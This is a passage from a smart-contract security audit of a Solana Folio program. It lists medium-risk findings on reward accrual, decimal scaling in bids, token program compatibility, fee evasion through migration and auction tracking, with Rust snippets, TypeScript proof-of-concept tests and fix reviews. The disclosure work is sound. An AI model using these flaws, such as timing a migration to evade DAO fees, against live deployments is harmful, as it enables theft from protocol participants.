'Program n6sR7Eg5LMg5SGorxK9q3ZePHs9e8gjoQ7TgUW2YCaG consumed 23093 of 200000 compute units',
'Program n6sR7Eg5LMg5SGorxK9q3ZePHs9e8gjoQ7TgUW2YCaG failed: custom program error: 0x0'
```

The Create Account fails because it is currently owned by the system program and hence cannot be assigned to a different program.

Recommendation: Modify the `init_pda_account_rent` function to prevent it by only creating the account with the necessary lamports and subsequently allocate space and assign it as follows:

```
**[cfg(not(tarpaulin_include))]:** pub fn init_pda_account_rent<'info>(
    account_to_init: &AccountInfo<'info>,
    space: usize,
    payer: &AccountInfo<'info>,
    owner_program_id: &Pubkey,
    system_program: &AccountInfo<'info>,
    pda_signers_seeds: &[&[&[u8]]],
) -> Result<()> {
    let rent = Rent::get()?;
    // let rent_lamports = rent.minimum_balance(space);

    if account_to_init.lamports() > 0 {
        let required_lamports = rent
            .minimum_balance(space)
            .max(1)
            .saturating_sub(account_to_init.lamports());

        if required_lamports > 0 {
            invoke(
                &system_instruction::transfer(payer.key, account_to_init.key, required_lamports),
                &[
                    payer.clone(),
                    account_to_init.clone(),
                    system_program.clone(),
                ],
            )?;
        }

        invoke_signed(
            &system_instruction::allocate(account_to_init.key, space as u64),
            &[account_to_init.clone(), system_program.clone()],
            pda_signers_seeds,
        )?;

        invoke_signed(
            &system_instruction::assign(account_to_init.key, owner_program_id),
            &[account_to_init.clone(), system_program.clone()],
            pda_signers_seeds,
        )?;
    } else {
        invoke_signed(
            &system_instruction::create_account(
                payer.key,
                account_to_init.key,
                rent.minimum_balance(space).max(1),
                space as u64,
                owner_program_id,
            ),
            &[
                payer.clone(),
                account_to_init.clone(),
                system_program.clone(),
            ],
            pda_signers_seeds,
        )?;
    }
    invoke_signed(
        &system_instruction::create_account(
            payer.key,
```

```
            account_to_init.key,
            rent.minimum_balance(space).max(1),
            space as u64,
            owner_program_id,
        ),
        &[
            payer.clone(),
            account_to_init.clone(),
            system_program.clone(),
        ],
        pda_signers_seeds,
    )?;

    Ok(())
}
```

Reserve: Fixed in commit 6853fdd.

3.2.2 The `add_reward_token` function does not distribute rewards when adjusting the `reward_period`

Submitted by shaflow01

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The `add_reward_token` function can modify the `reward_period`, but since `accrue_rewards` to accumulate rewards for the previous period is not called before execution, this can lead to unfair reward distribution.

Finding Description: When executing the `init_or_set_reward_ratio` function to modify `reward_period`, the protocol first calls `accrue_rewards` to distribute rewards for the previous period.

```
pub fn handler<'info>(
    ctx: Context<'_, '_, 'info, 'info, InitOrSetRewardRatio<'info>>,
    reward_period: u64,
) -> Result<()> {
    let folio_key = ctx.accounts.folio.key();
    let folio = ctx.accounts.folio.load()?;
    ctx.accounts.validate(&folio)?;

    // Accrue the rewards before
    FolioProgramInternal::accrue_rewards(
        &ctx.accounts.system_program,
        &ctx.accounts.token_program,
        &ctx.accounts.realm,
        &ctx.accounts.folio,
        &ctx.accounts.actor,
        &ctx.accounts.folio_owner,
        &ctx.accounts.governance_token_mint,
        &ctx.accounts.governance_staked_token_account,
        &ctx.accounts.executor,
        &ctx.accounts.caller_governance_token_account,
        &ctx.accounts.folio_reward_tokens,
        ctx.remaining_accounts,
        false,
    )?;
    // ...
}
```

However, in `add_reward_token`, `reward_period` can also be adjusted, but changing `reward_period` in this function does not trigger `accrue_rewards`, resulting in unfair distribution of rewards for the previous period.

```
pub fn handler<'info>(
    ctx: Context<'_, '_, 'info, 'info, AddRewardToken<'info>>,
    reward_period: u64,
) -> Result<()> {
    let folio_key = ctx.accounts.folio.key();
    let folio = ctx.accounts.folio.load()?;
    ctx.accounts.validate(&folio)?;

    FolioRewardTokens::process_init_if_needed(
        &mut ctx.accounts.folio_reward_tokens,
        ctx.bumps.folio_reward_tokens,
        &folio_key,
        Some(&ctx.accounts.reward_token.key()),
        reward_period,
    )?;

    RewardInfo::process_init_if_needed(
        &mut ctx.accounts.reward_token_reward_info,
        ctx.bumps.reward_token_reward_info,
        &folio_key,
        &ctx.accounts.reward_token.key(),
        ctx.accounts.reward_token_account.amount,
    )?;

    emit!(RewardTokenAdded {
        reward_token: ctx.accounts.reward_token.key(),
    });

    Ok(())
}
```

For example, during the time period from 1 to 100, the reward distribution for `token1` is ongoing. At time 100, the `add_reward_token` function is called to add `token2` and decrease the `reward_period`. However, since `accrue_rewards` was not called beforehand, the rewards for the time period from 1 to 100 for `token1` will also be calculated using the reduced `reward_period`, leading to unfair distribution of the rewards.

Impact Explanation: The rewards from the previous period may be unfairly distributed. However, the impact's magnitude depends on the frequency of the accrue_rewards function calls.

Likelihood Explanation: There is a med likelihood of adjusting the `add_reward_token` function.

Recommendation: It is recommended to either:

- Add a restriction to ensure that the reward_period cannot be changed within the add_reward_token function, or...
- Call accrue_rewards to accumulate rewards before making any changes to the reward_period when adding a new reward token.

Reserve: The fix for bid calculation was made in commit 8831725.

However, now with our new rebalance feature we have removed this code as now it using a different logic. But we are calculating the bid amount correctly.

3.2.3 Incorrect bought amount calculation is causing all valid bid calls to revert

Submitted by DemoreXTess

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: In the `bid` instruction, the `raw_bought_amount` value is calculated incorrectly and the value is inflated with decimal.

Finding Description: Prices are stored with 18 decimals precision. In the `bid` instruction, this decimal is handled incorrectly while calculating the `raw_bought_amount`. Raw token values have 9 decimals by default. Following code snippet is broken:

```
// {buyTok} = {sellTok} * D18{buyTok/sellTok} / D18
let raw_bought_amount = Decimal::from_token_amount(raw_sell_amount)?
    .mul(&scaled_price)?
    .to_token_amount(Rounding::Floor)?
    .0;
```

Actually the comment line correctly states how it should be implemented but dividing by D18 value is forgotten in the code snippet. In here `raw_sell_amount` has 9 decimals with `from_token_amount` call it's increased to 18 decimals. Later, it's multiplied by scaled price which has 18 decimals again. Now, we have 36 decimals precision and we should first divide it by D18 but instead the code snippet is trying to convert it to 9 decimals by dividing it to D9 value. But due to forgotten division operation we will have 27 decimals value instead of 9. It also doesn't revert due to overflow because code snippet rounds the value to `u64.max` value:

```
/// to_token_amount function
// If the value is greater than the max u64, return the max u64
Ok(if value > U256::from(u64::MAX) {
    TokenResult(u64::MAX)
```

Impact Explanation: Bid function is completely impacted from this situation and it won't work. If user sets a slippage it will revert in slippage call but he doesn't set a slippage it will revert anyway because nobody has `u64.max` amount of token.

Likelihood Explanation: Likelihood is high.

Proof of Concept: Add following test to `tests-ts/bankrun/tests/tests-auction.ts` file and you can run it with `tsc && yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests-ts/bankrun/tests/tests-auction.ts --grep "fail due to slippage bug"` command.

The proof of concept will create an auction with 0.0009 price value. BN supports 2^53-1 at max but it's still enough to test the issue. As sell amount we send 1_000_000_000 value and as slippage we set the same value. Price is already lower than 1. Therefore, it shouldn't revert the transaction if there is no bug.

```
it("fail due to slippage bug", async () => {
let txnResult: BanksTransactionResultWithMeta;

let restOfParams = {
    desc: "(is valid without callback)",
    expectedError: null,
    sellAmount: new BN(1_000_000_000),
    maxBuyAmount: new BN(1_000_000_000),
}

const {
    customFolioTokenMint,
    auctionToUse,
    initialFolioBasket,
    sellAmount,
    maxBuyAmount,
    sellMint,
    buyMint,
    callback,
    expectedTokenBalanceChanges,
    folioTokenSupply,
    sellOut,
} = {
    ...DEFAULT_PARAMS,
    ...restOfParams,
};

let currentTime: BN;
let beforeTokenBalanceChanges: {
    owner: PublicKey;
    balances: bigint[];
}[];


const mintToUse = customFolioTokenMint || folioTokenMint;

await initBaseCase(mintToUse, initialFolioBasket, folioTokenSupply);

initToken(
```

```
    context,
    adminKeypair.publicKey,
    sellMint,
    DEFAULT_DECIMALS
);
initToken(context, adminKeypair.publicKey, buyMint, DEFAULT_DECIMALS);

currentTime = new BN(
    (await context.banksClient.getClock()).unixTimestamp.toString()
);

auctionToUse.start = currentTime;
auctionToUse.end = currentTime.add(new BN(3600));
auctionToUse.prices.start = new BN(900_719_925_740_990);
auctionToUse.prices.end = new BN(900_000_000_000_000);

await createAndSetAuction(
    context,
    programFolio,
    auctionToUse,
    folioPDA
);

console.log("Price: ", auctionToUse.prices.start.toString(), auctionToUse.prices.end.toString());

await context.warpToSlot((await context.banksClient.getSlot()) + BigInt(1));

beforeTokenBalanceChanges = await getTokenBalancesFromMints(
    context,
    [sellMint.publicKey, buyMint.publicKey],
    [bidderKeypair.publicKey, folioPDA]
);

const callbackFields = await callback();

txnResult = await bid<true>(
    context,
    banksClient,
    programFolio,
    bidderKeypair, // Not permissioned
    folioPDA,
    mintToUse.publicKey,
    getAuctionPDA(folioPDA, auctionToUse.id),
    sellAmount,
    maxBuyAmount,
    callbackFields.data.length > 0,
    sellMint.publicKey,
    buyMint.publicKey,
    callbackFields.data,
    true,
    callbackFields.remainingAccounts
);

console.log("txnResult", txnResult.result);
assertError(txnResult, "SlippageExceeded");

});
```

Recommendation: For correct calculation divide the number by D18 before `to_token_amount` call.

Fix review: Mitigation Failure: Incorrect Decimal Scaling Not Resolved

Description: This finding has still not been resolved in the codebase. The issue has not been added to Notion, nor have I seen a related fix PR. It may have been an oversight.

Proof of Concept: bid.rs#L205:

```
// {buyTok} = {sellTok} * D18{buyTok/sellTok} / D18
let raw_bought_amount = Decimal::from_token_amount(raw_sell_amount)?
    .mul(&scaled_price)?
    .to_token_amount(Rounding::Floor)?
    .0;
```

The `raw_sell_amount` has 9 decimal places. When passed through `Decimal::from_token_amount`, it is

raised to 18 decimal places. Then, when multiplied by the 18-decimal `scaled_price`, it results in a value with 36 decimal places. However, the `to_token_amount` function only divides by 9 decimal places, causing the final result to have 27 decimal places instead of the expected 9 decimal places.

```
// put buy token in basket
folio_basket.add_tokens_to_basket(&vec![FolioTokenAmount {
    mint: auction.buy,
    amount: raw_bought_amount,
}])?;
```

Since the `raw_bought_amount` will be used later, there may be accounting errors.

Recommendation: It is recommended to divide by 18 decimal places to scale it back to 9 decimal places.

Reserve: Fixed in commit 8831725.

3.2.4 Folio program is not compatible to work with both legacy SPL and SPL 2022 tokens

Submitted by DemoreXTess, also found by chinepun, chinepun and chinepun

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: Protocol wants to use standard SPL tokens in the application including both legacy SPL and SPL 2022 standards. But it's not possible due to mishandled scenario in `mint_folio_token` functionality.

Finding Description: Users should supply all the required tokens to their basket and then they can mint folio token to their account. If any token is missing in their basket, it won't work because `mint_folio_token` instruction has following check:

```
/// handler function
check_condition!(
    folio_basket.get_total_number_of_mints() == remaining_accounts.len() as u8,
    InvalidNumberOfRemainingAccounts
);
```

Therefore, in single mint token instruction all the tokens should be in the user's basket. There is a big problem here. SPL 2022's program id is different than legacy SPL. But in mint token instruction user can only send one token program id. It will be impossible handle this situation because following check will fail because it's using the same token program id for all the tokens. Users can't do anything about it.

```
/// user_pending_basket::to_assets function
check_condition!(
    folio_token_account.key()
        == get_associated_token_address_with_program_id(
            folio_key,
            &related_mint.mint,
            token_program_id, // <<<
        ),
    InvalidRecipientTokenAccount
);
```

Impact Explanation: Mint functionality is a core functionality and it can't be used in described scenario. Nobody can mint any folio token in this condition. High will be appropriate impact for this function.

Likelihood Explanation: It's very likely to use both legacy SPL and SPL 2022 tokens in single folio. I also asked this to sponsor. He confirmed that both legacy SPL and SPL 2022 will be used for folio application.

Proof of Concept: First of all, you can check the program ids of both SPL 2022 and legacy SPL program ids are different.

- SPL 2022 program id: `TokenzQdBNbLqP5VEhdkAS6EPFLC1PHnBqCXEpPxuEb`.
- Legacy SPL program id: `TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA`.

It's already known by the protocol because in `constants.ts` file they're defined. I will demonstrate the bug by the following proof of concept because testing both SPL token in single bankrun test needs extensive changes on all the bankrun helpers. The proof of concept shows that different program ids of SPL tokens will return different ATA accounts.

```rust
use solana_sdk::pubkey::Pubkey;
use spl_associated_token_account::get_associated_token_address_with_program_id;
use spl_token::{id as token_legacy_id};
use spl_token_2022::{id as token_2022_id};

**[test]:** fn test_ata_address_differs_by_program_id() {
    let folio_key = Pubkey::new_unique();
    let mint = Pubkey::new_unique();

    let ata_legacy = get_associated_token_address_with_program_id(
        &folio_key,
        &mint,
        &token_legacy_id(),
    );

    let ata_2022 = get_associated_token_address_with_program_id(
        &folio_key,
        &mint,
        &token_2022_id(),
    );

    println!("Legacy SPL Token ATA: {}", ata_legacy);
    println!("SPL Token 2022 ATA: {}", ata_2022);

    // They should be different!
    assert_ne!(ata_legacy, ata_2022);
}
```

```
Legacy SPL Token ATA: Ceaz1UyvdzAasoh4Mf3EtZkwwe6yxxRZ2JXyCcAgXWgu
SPL Token 2022 ATA: CTbggkoXqbxMPAvLak95KvvmRCR7xwuB5pyWi3GgzdQU
test folio::test_add_to_pending_basket::test_ata_address_differs_by_program_id ... ok
```

In conclusion, single mint call can't be handled with only one token program id.

Recommendation: Instead get the token program ids for each token from remainning accounts. With that method, users can correctly specify the correct token program id.

Reserve: Acknowledged.

3.2.5 Impossible to distribute fees during folio migration

Submitted by krikolkk

Severity: Medium Risk

Context: crank_fee_distribution.rs#L179-L192

Summary: The `crank_fee_distribution` instruction cannot be executed when a folio is in the `Migrating` state, despite explicit comments indicating this should be possible. This prevents fee distribution during migration, potentially leading to loss of accrued fees during the migration process.

Finding Description: In the `crank_fee_distribution.rs` file, there's a mismatch between the documented behavior and the actual implementation regarding fee distribution during migration. The code comment explicitly states that fees should be distributable during migration:

```rust
// Validate the instruction.
//
// # Checks
// * Folio has the correct status.
pub fn validate(&self, folio: &Folio, fee_distribution: &FeeDistribution) -> Result<()> {
    folio.validate_folio(
        &self.folio.key(),
        None,
        None,
        // Still want the user to be able to distribute the fees even if folio is migrating or killed
        Some(vec![
            FolioStatus::Initialized,
            FolioStatus::Migrating,
            FolioStatus::Killed,
        ]),
    )?;

    // ... additional validation logic ...
    Ok(())
}
```

The code contains a critical implementation contradiction:

- Validation logic allows fee distribution during migration.
- Actual implementation prevents fee minting due to `MintAuthority` constraints.
- Explicit documentation conflicts with system capabilities.

The core issue emerges when the folio state is set to migrating: the `MintAuthority` of the folio mint is transferred to the new folio. Consequently, the `crank_fee_distribution` instruction cannot mint folio tokens since the old folio no longer possesses the `MintAuthority` role.

This creates a fundamental contradiction:

- Code comments suggest fee distribution is possible during migration.
- Technical implementation makes fee distribution impossible.
- Folio owners are led to expect a functionality that cannot be executed.

Impact Explanation: High. When a folio is in the `Migrating` state, all accumulated fees become unrecoverable. Folio owners who expect to be able to distribute fees during migration (as explicitly stated in the code comments) will permanently lose these fees. Given that migration is a critical operation for protocol evolution, this issue significantly impacts the protocol's ability to handle fees properly during upgradeability scenarios.

Likelihood Explanation: Low. The issue only occurs in the specific scenario where a folio is in the `Migrating` state and fee distribution is attempted. While migration is a relatively rare event in the protocol lifecycle, when it does occur, this issue will be triggered if fee distribution is attempted.

Recommendation: Update the code documentation to accurately reflect the system's limitations, making it clear that fee distribution is not possible during migration. This could be accompanied with a restriction that the migration can not start until all the fees are distributed.

Reserve: Fixed in PR 79.

3.2.6 When the reward tokens are removed, the reward accumulation continues

Submitted by shaflow01, also found by 1337web3

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The folio_owner can choose to remove the reward tokens. However, after the reward tokens are removed, the reward accumulation continues.

Finding Description: When the user removes the reward token, it is simply moved to the `disallowed` array.

```
pub fn handler<'info>(ctx: Context<'_, '_, 'info, 'info, RemoveRewardToken<'info>>) -> Result<()> {
    let folio = ctx.accounts.folio.load()?;
    ctx.accounts.validate(&folio)?;

    ctx.accounts
        .folio_reward_tokens
        .load_mut()?
        .remove_reward_token(&ctx.accounts.reward_token_to_remove.key())?;

    emit!(RewardTokenRemoved {
        reward_token: ctx.accounts.reward_token_to_remove.key(),
    });

    Ok(())
}
```

However, the `accrue_rewards` function does not include a check to verify whether a reward token has been removed. This will result in rewards continuing to accumulate for the removed reward token.

Recommendation: It is recommended that when a reward token is removed, the reward accumulation calculation for that token should be stopped in the `accrue_rewards` function. This can prevent rewards from continuing to accumulate for tokens that are no longer valid.

Fix review: Mitigation related to issues: Users may lose the tokens they were supposed to have accumulated after reward token removing

Description: The project's mitigation was to disallow calling `accrue_rewards` for a token after it has been removed. However, this introduces new issues:

1. After a token is removed, users can no longer call `accrue_rewards` for that token to collect the rewards they should have accumulated.
2. After a token is removed, the remaining unallocated tokens in the rewards `TokenAccount` cannot be withdrawn.

Proof of Concept:

```
#[cfg(not(tarpaulin_include))]
pub fn remove_reward_token(
    &mut self,
    reward_token: &Pubkey,
    reward_info: &mut Account<RewardInfo>,
) -> Result<()> {
    ...
    reward_info.is_disallowed = true;

    Ok(())
}
```

When a token is removed, the `is_disallowed` field will be set to `true`, which prevents the `accrue_rewards` operation for that token.

```
pub fn accrue_rewards(
    &mut self,
    scaled_reward_ratio: u128,
    raw_current_reward_token_balance: u64,
    raw_current_staked_token_balance: u64,
    current_token_decimals: u8,
    current_time: u64,
) -> Result<()> {
    check_condition!(!self.is_disallowed, DisallowedRewardToken);
```

Consider the following scenario:

1. At time 100, `accrue_rewards` is called to update the global rewards for `token1`, and then `remove_reward_token` is called to remove `token1`.
2. A user's reward state remains at time 50. Since `accrue_rewards` for `token1` is now blocked, the user cannot update their reward state to time 100, resulting in a loss of the rewards accumulated between time 50 and 100 in `token1`.

3. Moreover, the remaining unallocated `token1` rewards cannot be withdrawn by anyone.

Recommendation:

1. It is recommended to store the timestamp when the reward token is removed. During `accrue_rewards`, if the removal time is greater than 0, the reward accumulation should be capped at the token's removal time. For example:

```
    pub fn accrue_rewards(
        &mut self,
        scaled_reward_ratio: u128,
        raw_current_reward_token_balance: u64,
        raw_current_staked_token_balance: u64,
        current_token_decimals: u8,
        current_time: u64,
    ) -> Result<()> {
-       check_condition!(!self.is_disallowed, DisallowedRewardToken);
+       let effective_time = if self.disallowed_time > 0 {
+           self.disallowed_time
+       } else {
+           current_time
+       };
```

2. It is recommended to add a function that allows withdrawing the unallocated portion of a removed reward token.

Reserve: Acknowledged. We have revamped the logic related to auction and folio rebalancing, and now for each token we have different `AuctionEnds`.

3.2.7 Inconsistent total supply calculation between fee distribution steps

Submitted by krikolkk

Severity: Medium Risk

Context: distribute_fees.rs#L279-L282

Summary: The fee distribution mechanism creates an inconsistency in total supply calculation between the initial distribution and subsequent fee cranking steps, leading to potential economic misrepresentation.

Finding Description: The protocol's fee distribution process involves a two-step mechanism that creates a calculation discrepancy. Specifically, throughout the protocol the fees are calculated based on the total supply plus the pending fees.

However, during the `distribute_fees` instruction call, the pending fees are set to zero, while no new tokens are minted. This leads to a discrepancy in fee calculation between the `distribute_fees` and `crank_fee_distribution` calls.

Concrete Scenario:

- Total Token Supply: 100M tokens.
- Pending Fees: 1M tokens.
- Fee calculation before `distribute_fees` uses 101M as total supply.
- Fee calculation after the call, and before `crank_fee_distribution` uses 100M total supply.
- When the fees are distributed, the fees are again calculated based on the 101M amount.

Impact Explanation: High. This inconsistency impacts the accuracy of fee calculations and creates a potential undervaluation of folio revenues.

Likelihood Explanation: Low. The issue manifests only during the specific timing window between distribution instructions.

Recommendation: Consider updating the `fee_recipients_pending_fee_shares` once the fees are actually minted to the fee recipients.

Reserve: Fixed in commit 06dc9a80. We now track pending shares not minted yet.

Fix review: The finding has been fixed.

3.2.8 Folio migration can be exploited to avoid DAO fee minting

Submitted by krikolkk

Severity: Medium Risk

Context: distribute_fees.rs#L99-L104

Summary: The folios are expected to pay at least a 15 bps fee to the DAO. These fees are added to the `dao_pending_fees` and are distributed during the `distribute_fees` instruction call. However, this instruction can not be called when the folio is in the `Migrating` state, which can be exploited by the folio owners to not pay the DAO fee.

Finding Description: The vulnerability stems from the fact that the `distribute_fees` instruction can not be called while the folio is in the `Migrating` state:

```
// From distribute_fees.rs
loaded_folio.validate_folio(
    &folio.key(),
    None,
    None,
    Some(vec![FolioStatus::Initialized, FolioStatus::Killed]),
)?;
```

This creates a scenario where a folio owner can:

1. Observe that significant DAO fees have accrued.
2. Initiate migration before fees are distributed.

This allows folio owners to strategically time migrations to avoid paying accrued DAO fees, as the fees cannot be minted when the folio is in the `Migrating` state.

Impact Explanation: High. This vulnerability allows folio owners to directly profit by evading DAO fees. The protocol design clearly intends for these fees to be payable. The impact scales with the amount of fees accrued - potentially significant for large folios with substantial TVL.

Likelihood Explanation: Low. This attack vector is only viable during migration, which is a relatively rare event in the protocol lifecycle. For sophisticated actors managing large folios, the financial incentive could be substantial.

Recommendation: Consider not allowing a folio migration if it has pending fees accrued.

Fix review: Mitigation Failure: Fees Can Still Be Avoided Through Migration

Description: The mitigation measure was to call the `distribute_fees` function during the migration to allocate the fees.

However, due to an incorrect handling of the state change order, the `distribute_fees` function called during the migration actually does not allocate the fees, leaving the issue unresolved, and the fee can still be avoided through migration.

Proof of Concept:

```
pub fn handler<'info>(
    ctx: Context<'_, '_, 'info, 'info, StartFolioMigration<'info>>,
    index_for_fee_distribution: u64,
) -> Result<()> {
    let old_folio_bump: u8;
    {
        let old_folio = &mut ctx.accounts.old_folio.load_mut()?;

        old_folio_bump = old_folio.bump;

        ctx.accounts.validate(old_folio)?;

        // Update old folio status
        old_folio.status = FolioStatus::Migrating as u8;
    }

    // Distribute the fees
    ctx.accounts
        .distribute_fees(ctx.remaining_accounts, index_for_fee_distribution)?;
    // ...
```

In the `StartFolioMigration` instruction, the state was first changed to `FolioStatus::Migrating`, and then the `distribute_fees` function was called.

```
pub fn distribute_fees(
    &self,
    remaining_accounts: &'info [AccountInfo<'info>],
    index_for_fee_distribution: u64,
) -> Result<()> {
    {
        let folio_status = {
            let folio = self.old_folio.load()?;
            folio.status.into()
        };

        // Don't distribute fees if the isn't INITIALIZED or KILLED
        if ![FolioStatus::Killed, FolioStatus::Initialized].contains(&folio_status) {
            return Ok(());
        }
    // ...
```

Upon reviewing the `distribute_fees` function, it is observed that when the state is `FolioStatus::Migrating`, the function does not perform the actual fee distribution but instead returns immediately. This results in the accumulated fees not being distributed, and after that, the `distribute_fees` function cannot be called to mint these fees.

Recommendation: It is recommended to first distribute the fees, then change the state.

Reserve: Fixed in commit bbe25a4f. Now migrating the folio will distribute the fees.

Fix review: The finding has been fixed.

3.2.9 Sell and Buy Auction End Arrays Not Updated Correctly

Submitted by johny37, also found by 0x1982us and DemoreXTess

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The `sell_ends` and `buy_ends` arrays in the Folio state remain at their default values (with the default pubkey and zero end time) instead of being updated with actual auction data when auctions are opened.

Finding Description: The issue stems from the way auction end times are managed in the `Folio` struct. During initialization, both `sell_ends` and `buy_ends` arrays are populated with default values (e.g., a default pubkey of `11111111111111111111111111111111` and an end time of `0`). When an auction is opened, the function `set_auction_end_for_mints` iterates over these arrays and attempts to update entries whose mint field matches the auction's sell or buy mint. However, since the arrays are still filled with default values, the condition to update an existing entry never holds, and the arrays remain unfilled. This misman-

agement of auction metadata can lead to failures in detecting and preventing auction collisions, breaking the system's integrity guarantees.

Impact Explanation: The impact is high, because the system relies on these arrays to prevent overlapping auctions for the same token. Default (or stale) values could allow conflicting auctions, leading to financial discrepancies or unfair bidding scenarios.

Likelihood Explanation: This issue is highly likely to occur in production if the auction initialization process does not properly fill these arrays. As demonstrated by testing, the arrays remain at their default values even after auction opening procedures, indicating that the faulty logic is not a rare edge case but a systematic oversight.

Proof of Concept: Add the following test to the tests-extreme.ts test file:

```
it("sell_ends and buy_ends arrays don't get filled property", async() => {
await addOrUpdateActor(
    connection,
    folioOwnerKeypair,
    folioPDA,
    auctionApproverKeypair.publicKey,
    {
    auctionApprover: {},
    }
);

let sellMint = tokenMints[0].mint.publicKey; // USDC
let buyMint = tokenMints[1].mint.publicKey; // USDT
let auctionId = new BN(1);
const ttl = MAX_TTL;

// Approve auction with id 1
await approveAuction(
    connection,
    auctionApproverKeypair,
    folioPDA,
    buyMint,
    sellMint,
    auctionId,
    { spot: new BN(5), low: new BN(0), high: new BN(20) },
    { spot: new BN(5), low: new BN(0), high: new BN(20) },
    new BN(20),
    new BN(1),
    ttl
);

await addOrUpdateActor(
    connection,
    folioOwnerKeypair,
    folioPDA,
    auctionApproverKeypair.publicKey,
    {
    auctionLauncher: {},
    }
);

let auctionPDA = getAuctionPDA(folioPDA, auctionId);

// Open auction with id 1
await openAuction(
    connection,
    auctionApproverKeypair,
    folioPDA,
    auctionPDA,
    new BN(5),
    new BN(5),
    new BN(20),
    new BN(1)
);

const folioAccount = await programFolio.account.folio.fetch(folioPDA);
console.log("Sell Ends:");
folioAccount.sellEnds.forEach((auctionEnd, idx) => {
    console.log(`Slot ${idx}: Mint ${auctionEnd.mint.toString()}, End Time ${auctionEnd.endTime.toString()}`);
});
console.log("Buy Ends:");
```

```
folioAccount.buyEnds.forEach((auctionEnd, idx) => {
    console.log(`Slot ${idx}: Mint ${auctionEnd.mint.toString()}, End Time ${auctionEnd.endTime.toString()}`);
});
})
```

Run the above above test with the following command: `tsc && anchor test --skip-local-validator --skip-deploy --skip-build`.

Output:

```
Extreme Folio Tests
Sell Ends:
Slot 0: Mint 11111111111111111111111111111111, End Time 0
Slot 1: Mint 11111111111111111111111111111111, End Time 0
Slot 2: Mint 11111111111111111111111111111111, End Time 0
Slot 3: Mint 11111111111111111111111111111111, End Time 0
Slot 4: Mint 11111111111111111111111111111111, End Time 0
Slot 5: Mint 11111111111111111111111111111111, End Time 0
Slot 6: Mint 11111111111111111111111111111111, End Time 0
Slot 7: Mint 11111111111111111111111111111111, End Time 0
Slot 8: Mint 11111111111111111111111111111111, End Time 0
Slot 9: Mint 11111111111111111111111111111111, End Time 0
Slot 10: Mint 11111111111111111111111111111111, End Time 0
Slot 11: Mint 11111111111111111111111111111111, End Time 0
Slot 12: Mint 11111111111111111111111111111111, End Time 0
Slot 13: Mint 11111111111111111111111111111111, End Time 0
Slot 14: Mint 11111111111111111111111111111111, End Time 0
Slot 15: Mint 11111111111111111111111111111111, End Time 0
Buy Ends:
Slot 0: Mint 11111111111111111111111111111111, End Time 0
Slot 1: Mint 11111111111111111111111111111111, End Time 0
Slot 2: Mint 11111111111111111111111111111111, End Time 0
Slot 3: Mint 11111111111111111111111111111111, End Time 0
Slot 4: Mint 11111111111111111111111111111111, End Time 0
Slot 5: Mint 11111111111111111111111111111111, End Time 0
Slot 6: Mint 11111111111111111111111111111111, End Time 0
Slot 7: Mint 11111111111111111111111111111111, End Time 0
Slot 8: Mint 11111111111111111111111111111111, End Time 0
Slot 9: Mint 11111111111111111111111111111111, End Time 0
Slot 10: Mint 11111111111111111111111111111111, End Time 0
Slot 11: Mint 11111111111111111111111111111111, End Time 0
Slot 12: Mint 11111111111111111111111111111111, End Time 0
Slot 13: Mint 11111111111111111111111111111111, End Time 0
Slot 14: Mint 11111111111111111111111111111111, End Time 0
Slot 15: Mint 11111111111111111111111111111111, End Time 0
     sell_ends and buy_ends arrays don't get filled property (1880ms)

  1 passing (44s)
  0 pending

  Done in 45.53s.
```

Recommendation: To resolve this issue, a suggested solution would be to modify the `set_auction_end_for_mints` function to not only update matching entries but also insert new auction end data into an available slot when no match is found. For example, consider the following fix:

```rust
pub fn set_auction_end_for_mints(
    &mut self,
    sell_mint: &Pubkey,
    buy_mint: &Pubkey,
    end_time_sell: u64,
    end_time_buy: u64,
) {
    let mut found_sell = false;
    for auction_end in self.sell_ends.iter_mut() {
        if auction_end.mint == *sell_mint {
            auction_end.end_time = end_time_sell;
            found_sell = true;
            break;
        }
    }
    if !found_sell {
        if let Some(slot) = self.sell_ends.iter_mut().find(|ae| ae.mint == Pubkey::default()) {
            slot.mint = *sell_mint;
            slot.end_time = end_time_sell;
        }
    }

    let mut found_buy = false;
    for auction_end in self.buy_ends.iter_mut() {
        if auction_end.mint == *buy_mint {
            auction_end.end_time = end_time_buy;
            found_buy = true;
            break;
        }
    }
    if !found_buy {
        if let Some(slot) = self.buy_ends.iter_mut().find(|ae| ae.mint == Pubkey::default()) {
            slot.mint = *buy_mint;
            slot.end_time = end_time_buy;
        }
    }
}
```

This change ensures that when an auction is opened, the corresponding mint and end time are properly recorded—even if no prior entry exists—maintaining accurate auction state and preventing potential collisions.

Fix review: Mitigation edge case

Finding Description: While the issue was correctly mitigated, and the buy and sell auction end times are now updated correctly, this only works until all of the `sell_ends` mints are `Pubkey::default()`. The same goes for `buy_ends`. This means that if 16 mints were added to either of the arrays, new mints will not be added anymore, which means that the check will never work for these.

Impact Explanation: High. The protocol check will stop working for the respective array after 16 mints have been added to either `buy_ends` or `sell_ends`.

Likelihood Explanation: Low. This is an edge case that would affect frequently rebalancing folios only.

Recommendation: The best way to fix this issue is by introducing a PDA with `["auction_end_time", folio, sell_token, x]` seeds, where `x` would be either `0` for buy or `1` for sell.

Reserve: Fixed in commit 1842cfe2.

Fix review: The finding has been fixed.

3.2.10 Slippage check for `raw_max_buy_balance` value won't work as expected due to mishandling the decimals

Submitted by DemoreXTess

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: In auction bids, there are strict rules for max amount of buy token that can be received in the auction but these rules can't be applied due to incorrect calculation of the `raw_max_buy_balance` value.

Finding Description: While bidding the balance of the folio, buy token account shouldn't exceed the buy limit. This buy limit is set by the auction approver and this value is checked with the following code snippet:

```
/// bids::handler

//  D18{buyTok/share} = D18{buyTok/share} * {share} / D18
let raw_max_buy_balance = Decimal::from_scaled(auction.buy_limit.spot)
    .mul(&scaled_folio_token_total_supply)?
    .to_token_amount(Rounding::Floor)?
    .0;

// ensure post-bid buy balance does not exceed max
ctx.accounts.folio_buy_token_account.reload()?;
check_condition!(
    ctx.accounts.folio_buy_token_account.amount <= raw_max_buy_balance,
    ExcessiveBid
);
```

